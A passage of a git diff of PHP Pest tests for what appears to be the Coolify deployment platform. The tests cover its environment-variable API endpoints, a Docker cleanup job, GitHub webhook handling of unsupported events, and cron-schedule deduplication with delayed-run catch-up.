'resourceable_type' => StandalonePostgresql::class,
'resourceable_id' => $database->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
'key' => 'EXISTING_VAR',
'value' => 'new_value',
]);
$response->assertStatus(409);
});
test('returns 422 when key is missing', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
'value' => 'some_value',
]);
$response->assertStatus(422);
});
});
describe('PATCH /api/v1/databases/{uuid}/envs', function () {
test('updates an environment variable', function () {
$database = createDatabase($this);
EnvironmentVariable::create([
'key' => 'UPDATE_ME',
'value' => 'old_value',
'resourceable_type' => StandalonePostgresql::class,
'resourceable_id' => $database->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
'key' => 'UPDATE_ME',
'value' => 'new_value',
]);
$response->assertStatus(201);
$env = EnvironmentVariable::where('key', 'UPDATE_ME')
->where('resourceable_id', $database->id)
->first();
expect($env->value)->toBe('new_value');
});
test('returns 404 when environment variable does not exist', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
'key' => 'NONEXISTENT',
'value' => 'value',
]);
$response->assertStatus(404);
});
});
describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () {
test('creates environment variables with comments', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
'data' => [
[
'key' => 'DB_HOST',
'value' => 'localhost',
'comment' => 'Database host',
],
[
'key' => 'DB_PORT',
'value' => '5432',
],
],
]);
$response->assertStatus(201);
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
->where('resourceable_id', $database->id)
->where('resourceable_type', StandalonePostgresql::class)
->first();
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
->where('resourceable_id', $database->id)
->where('resourceable_type', StandalonePostgresql::class)
->first();
expect($envWithComment->comment)->toBe('Database host');
expect($envWithoutComment->comment)->toBeNull();
});
test('updates existing environment variables via bulk', function () {
$database = createDatabase($this);
EnvironmentVariable::create([
'key' => 'BULK_VAR',
'value' => 'old_value',
'comment' => 'Old comment',
'resourceable_type' => StandalonePostgresql::class,
'resourceable_id' => $database->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
'data' => [
[
'key' => 'BULK_VAR',
'value' => 'new_value',
'comment' => 'Updated comment',
],
],
]);
$response->assertStatus(201);
$env = EnvironmentVariable::where('key', 'BULK_VAR')
->where('resourceable_id', $database->id)
->first();
expect($env->value)->toBe('new_value');
expect($env->comment)->toBe('Updated comment');
});
test('rejects comment exceeding 256 characters', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
'data' => [
[
'key' => 'TEST_VAR',
'value' => 'value',
'comment' => str_repeat('a', 257),
],
],
]);
$response->assertStatus(422);
});
test('returns 400 when data is missing', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []);
$response->assertStatus(400);
});
});
describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () {
test('deletes an environment variable', function () {
$database = createDatabase($this);
$env = EnvironmentVariable::create([
'key' => 'DELETE_ME',
'value' => 'to_delete',
'resourceable_type' => StandalonePostgresql::class,
'resourceable_id' => $database->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}");
$response->assertStatus(200);
$response->assertJson(['message' => 'Environment variable deleted.']);
expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull();
});
test('returns 404 for non-existent environment variable', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid");
$response->assertStatus(404);
});
});

View file

@ -0,0 +1,50 @@
<?php
use App\Jobs\DockerCleanupJob;
use App\Models\DockerCleanupExecution;
use App\Models\Server;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('creates a failed execution record when server is not functional', function () {
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
// Make server not functional by setting is_reachable to false
$server->settings->update(['is_reachable' => false]);
$job = new DockerCleanupJob($server);
$job->handle();
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
expect($execution)->not->toBeNull()
->and($execution->status)->toBe('failed')
->and($execution->message)->toContain('not functional')
->and($execution->finished_at)->not->toBeNull();
});
it('creates a failed execution record when server is force disabled', function () {
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
// Make server not functional by force disabling
$server->settings->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => true,
]);
$job = new DockerCleanupJob($server);
$job->handle();
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
expect($execution)->not->toBeNull()
->and($execution->status)->toBe('failed')
->and($execution->message)->toContain('not functional');
});

View file

@ -0,0 +1,244 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () {
test('creates environment variables with comments', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
'data' => [
[
'key' => 'DB_HOST',
'value' => 'localhost',
'comment' => 'Database host for production',
],
[
'key' => 'DB_PORT',
'value' => '5432',
],
],
]);
$response->assertStatus(201);
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
->where('resourceable_id', $application->id)
->where('is_preview', false)
->first();
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
->where('resourceable_id', $application->id)
->where('is_preview', false)
->first();
expect($envWithComment->comment)->toBe('Database host for production');
expect($envWithoutComment->comment)->toBeNull();
});
test('updates existing environment variable comment', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
EnvironmentVariable::create([
'key' => 'API_KEY',
'value' => 'old-key',
'comment' => 'Old comment',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'is_preview' => false,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
'data' => [
[
'key' => 'API_KEY',
'value' => 'new-key',
'comment' => 'Updated comment',
],
],
]);
$response->assertStatus(201);
$env = EnvironmentVariable::where('key', 'API_KEY')
->where('resourceable_id', $application->id)
->where('is_preview', false)
->first();
expect($env->value)->toBe('new-key');
expect($env->comment)->toBe('Updated comment');
});
test('preserves existing comment when not provided in bulk update', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
EnvironmentVariable::create([
'key' => 'SECRET',
'value' => 'old-secret',
'comment' => 'Keep this comment',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'is_preview' => false,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
'data' => [
[
'key' => 'SECRET',
'value' => 'new-secret',
],
],
]);
$response->assertStatus(201);
$env = EnvironmentVariable::where('key', 'SECRET')
->where('resourceable_id', $application->id)
->where('is_preview', false)
->first();
expect($env->value)->toBe('new-secret');
expect($env->comment)->toBe('Keep this comment');
});
test('rejects comment exceeding 256 characters', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
'data' => [
[
'key' => 'TEST_VAR',
'value' => 'value',
'comment' => str_repeat('a', 257),
],
],
]);
$response->assertStatus(422);
});
});
describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () {
test('creates environment variables with comments', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
'data' => [
[
'key' => 'REDIS_HOST',
'value' => 'redis',
'comment' => 'Redis cache host',
],
[
'key' => 'REDIS_PORT',
'value' => '6379',
],
],
]);
$response->assertStatus(201);
$envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST')
->where('resourceable_id', $service->id)
->where('resourceable_type', Service::class)
->first();
$envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT')
->where('resourceable_id', $service->id)
->where('resourceable_type', Service::class)
->first();
expect($envWithComment->comment)->toBe('Redis cache host');
expect($envWithoutComment->comment)->toBeNull();
});
test('rejects comment exceeding 256 characters', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
'data' => [
[
'key' => 'TEST_VAR',
'value' => 'value',
'comment' => str_repeat('a', 257),
],
],
]);
$response->assertStatus(422);
});
});

View file

@ -3,6 +3,7 @@
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
@ -14,6 +15,8 @@
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
@ -24,7 +27,7 @@
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
@ -117,6 +120,35 @@
$response->assertStatus(422);
});
test('uses route uuid and ignores uuid in request body', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'TEST_KEY',
'value' => 'old-value',
'resourceable_type' => Service::class,
'resourceable_id' => $service->id,
'is_preview' => false,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
'key' => 'TEST_KEY',
'value' => 'new-value',
'uuid' => 'bogus-uuid-from-body',
]);
$response->assertStatus(201);
$response->assertJsonFragment(['key' => 'TEST_KEY']);
});
});
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
@ -191,4 +223,32 @@
$response->assertStatus(422);
});
test('rejects unknown fields in request body', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
EnvironmentVariable::create([
'key' => 'TEST_KEY',
'value' => 'old-value',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'is_preview' => false,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
'key' => 'TEST_KEY',
'value' => 'new-value',
'uuid' => 'bogus-uuid-from-body',
]);
$response->assertStatus(422);
$response->assertJsonFragment(['uuid' => ['This field is not allowed.']]);
});
});

View file

@ -0,0 +1,22 @@
<?php
test('generate_application_name strips owner from git repository', function () {
$name = generate_application_name('coollabsio/coolify', 'main', 'test123');
expect($name)->toBe('coolify:main-test123');
expect($name)->not->toContain('coollabsio');
});
test('generate_application_name handles repository without owner', function () {
$name = generate_application_name('coolify', 'main', 'test123');
expect($name)->toBe('coolify:main-test123');
});
test('generate_application_name handles deeply nested repository path', function () {
$name = generate_application_name('org/sub/repo-name', 'develop', 'abc456');
expect($name)->toBe('repo-name:develop-abc456');
expect($name)->not->toContain('org');
expect($name)->not->toContain('sub');
});

View file

@ -0,0 +1,70 @@
<?php
describe('GitHub Manual Webhook', function () {
test('ping event returns pong', function () {
$response = $this->postJson('/webhooks/source/github/events/manual', [], [
'X-GitHub-Event' => 'ping',
]);
$response->assertOk();
$response->assertSee('pong');
});
test('unsupported event type returns graceful response instead of 500', function () {
$payload = [
'action' => 'published',
'registry_package' => [
'ecosystem' => 'CONTAINER',
'package_type' => 'CONTAINER',
'package_version' => [
'target_commitish' => 'main',
],
],
'repository' => [
'full_name' => 'test-org/test-repo',
'default_branch' => 'main',
],
];
$response = $this->postJson('/webhooks/source/github/events/manual', $payload, [
'X-GitHub-Event' => 'registry_package',
'X-Hub-Signature-256' => 'sha256=fake',
]);
$response->assertOk();
$response->assertSee('not supported');
});
test('unknown event type returns graceful response', function () {
$response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [
'X-GitHub-Event' => 'some_unknown_event',
'X-Hub-Signature-256' => 'sha256=fake',
]);
$response->assertOk();
$response->assertSee('not supported');
});
});
describe('GitHub Normal Webhook', function () {
test('unsupported event type returns graceful response instead of 500', function () {
$payload = [
'action' => 'published',
'registry_package' => [
'ecosystem' => 'CONTAINER',
],
'repository' => [
'full_name' => 'test-org/test-repo',
],
];
$response = $this->postJson('/webhooks/source/github/events', $payload, [
'X-GitHub-Event' => 'registry_package',
'X-GitHub-Hook-Installation-Target-Id' => '12345',
'X-Hub-Signature-256' => 'sha256=fake',
]);
// Should not be a 500 error - either 200 with "not supported" or "No GitHub App found"
$response->assertOk();
});
});

View file

@ -1,222 +1,168 @@
<?php
use App\Jobs\ScheduledJobManager;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
beforeEach(function () {
// Clear any dedup keys
Cache::flush();
});
it('dispatches backup when job runs on time at the cron minute', function () {
// Freeze time at exactly 02:00 — daily cron "0 2 * * *" is due
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
// Use reflection to test shouldRunNow
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
expect($result)->toBeTrue();
});
it('catches delayed job when cache has a baseline from previous run', function () {
// Simulate a previous dispatch yesterday at 02:00
Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
// Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
// lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
expect($result)->toBeTrue();
});
it('does not double-dispatch on subsequent runs within same cron window', function () {
// First run at 02:00 — dispatches and sets cache
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
$first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
$first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
expect($first)->toBeTrue();
// Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
$executionTimeProp->setValue($job, Carbon::now());
$second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
$second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
expect($second)->toBeFalse();
});
it('fires every_minute cron correctly on consecutive minutes', function () {
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// Minute 1
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
$executionTimeProp->setValue($job, Carbon::now());
$result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
expect($result1)->toBeTrue();
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
// Minute 2
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
$executionTimeProp->setValue($job, Carbon::now());
$result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
expect($result2)->toBeTrue();
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
// Minute 3
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
$executionTimeProp->setValue($job, Carbon::now());
$result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
expect($result3)->toBeTrue();
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
});
it('does not fire non-due jobs on restart when cache is empty', function () {
// Time is 10:00, cron is daily at 02:00 — NOT due right now
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4');
expect($result)->toBeFalse();
});
it('fires due jobs on restart when cache is empty', function () {
// Time is exactly 02:00, cron is daily at 02:00 — IS due right now
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// Cache is empty (fresh restart) — but cron IS due → should fire
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b');
expect($result)->toBeTrue();
});
it('does not dispatch when cron is not due and was not recently due', function () {
// Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5');
expect($result)->toBeFalse();
});
it('falls back to isDue when no dedup key is provided', function () {
// Time is exactly 02:00, cron is "0 2 * * *" — should be due
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue();
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse();
});
it('catches delayed docker cleanup when job runs past the cron minute', function () {
Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400);
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC'));
// isDue() would return false at :22, but getPreviousRunDate() = :20
// lastDispatched = :10 → :20 > :10 → fires
$result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42');
expect($result)->toBeTrue();
});
it('does not double-dispatch docker cleanup within same cron window', function () {
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC'));
$first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
expect($first)->toBeTrue();
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC'));
$second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
expect($second)->toBeFalse();
});
it('seeds cache with previousDue when not due on first run', function () {
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1');
expect($result)->toBeFalse();
// Verify cache was seeded with previousDue (02:00 today)
$cached = Cache::get('test-seed:1');
expect($cached)->not->toBeNull();
expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00');
});
it('catches next occurrence after cache was seeded on non-due first run', function () {
// Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse();
// Step 2: Next day at 02:03 — delayed 3 minutes past cron.
// previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires
Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC'));
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue();
});
it('cache survives 29 days with static 30-day TTL', function () {
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static');
expect(Cache::get('test-ttl:static'))->not->toBeNull();
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// No dedup key → simple isDue check
$result = $method->invoke($job, '0 2 * * *', 'UTC');
expect($result)->toBeTrue();
// At 02:01 without dedup key → isDue returns false
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
$executionTimeProp->setValue($job, Carbon::now());
$result2 = $method->invoke($job, '0 2 * * *', 'UTC');
expect($result2)->toBeFalse();
// 29 days later — cache (30-day TTL) should still exist
Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC'));
expect(Cache::get('test-ttl:static'))->not->toBeNull();
});
it('respects server timezone for cron evaluation', function () {
// UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
$job = new ScheduledJobManager;
$reflection = new ReflectionClass($job);
$executionTimeProp = $reflection->getProperty('executionTime');
$executionTimeProp->setAccessible(true);
$executionTimeProp->setValue($job, Carbon::now());
$method = $reflection->getMethod('shouldRunNow');
$method->setAccessible(true);
// Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
// That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
$resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
expect($resultSingapore)->toBeTrue();
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire
expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue();
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
$resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
expect($resultUtc)->toBeFalse();
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire
expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse();
});
it('passes explicit execution time instead of using Carbon::now()', function () {
// Real "now" is irrelevant — we pass an explicit execution time
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
$executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC');
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime);
expect($result)->toBeTrue();
});

View file

@ -0,0 +1,88 @@
<?php
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
beforeEach(function () {
Cache::flush();
});
it('catches delayed sentinel restart when job runs past midnight', function () {
Cache::put('sentinel-restart:1', Carbon::create(2026, 2, 27, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
// Job runs 3 minutes late at 00:03
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC'));
// isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today
// lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires
$result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1');
expect($result)->toBeTrue();
});
it('catches delayed weekly patch check when job runs past the cron minute', function () {
Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
// This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday)
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1');
expect($result)->toBeTrue();
});
it('catches delayed storage check when job runs past the cron minute', function () {
Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400);
Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC'));
$result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5');
expect($result)->toBeTrue();
});
it('seeds cache on non-due first run so weekly catch-up works', function () {
// Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due
Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC'));
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
expect($result)->toBeFalse();
// Verify cache was seeded
expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull();
// Next Sunday at 00:02 — delayed 2 minutes past cron
